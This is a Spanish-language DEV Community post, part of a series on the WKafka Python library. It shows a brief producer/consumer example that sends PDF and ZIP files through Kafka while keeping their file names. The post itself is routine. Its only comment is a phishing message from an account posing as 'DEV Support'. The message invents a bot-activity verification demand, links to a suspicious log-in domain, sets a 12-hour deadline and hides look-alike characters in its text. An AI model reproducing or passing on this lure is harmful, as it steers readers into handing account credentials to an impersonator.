DEV Community

William Rodriguez
William Rodriguez

Posted on

Archivos PDF, ZIP y binarios viajando en Kafka con nombre intacto.

Archivos PDF, ZIP y binarios viajando en Kafka con nombre intacto.

Día 07 de la serie técnica WKafka Open Source.

No aprovisiones un bucket en la nube cuando lo único que necesitas es enviar PDFs o ZIPs en tu pipeline. WKafka soporta format='file' de forma nativa.

Los Problemas Reales

  • Montar pipelines de subida/bajada en S3/MinIO para mover un reporte de 500KB
  • Pérdida de nombres de archivo y extensiones al convertir ficheros a bytes
  • Latencias altas esperando la propagación de objetos en almacenamiento cloud

La Implementación

# Producer
kafka.produce_file(topic="reports", file_path="audit_2026.pdf")

# Consumer
@kafka.consumer(topic="reports", format="file")
def on_report(msg):
    msg.save_file(target_dir="received_pipeline_files/")
Enter fullscreen mode Exit fullscreen mode

Por qué esta arquitectura gana

  • format='file': Serializador nativo que empaqueta nombre y datos binarios.
  • msg.save_file(): Una sola línea para guardar el archivo preservando su nombre.
  • Entrega Inmediata: Streaming directo por broker sin dependencias de almacenamiento.

Verificación y Estado

Probado y verificado contra clusters reales de Apache Kafka (ver EXAMPLES_STATUS.md en el repositorio). Compatible con Python 3.9 a 3.14 con tipado estricto mypy.

Kafka #Python #DataEngineering #OpenSource #Wisrovi

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Deаr Usеr,
Duе to аn incrеase in bot activity on the platform, we requіre verіfy of уour account.
Pleasе lоg in viа the lіnk below:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadline - 12 hours.
Sincerely,Dev Supрort

​‌‌‌‌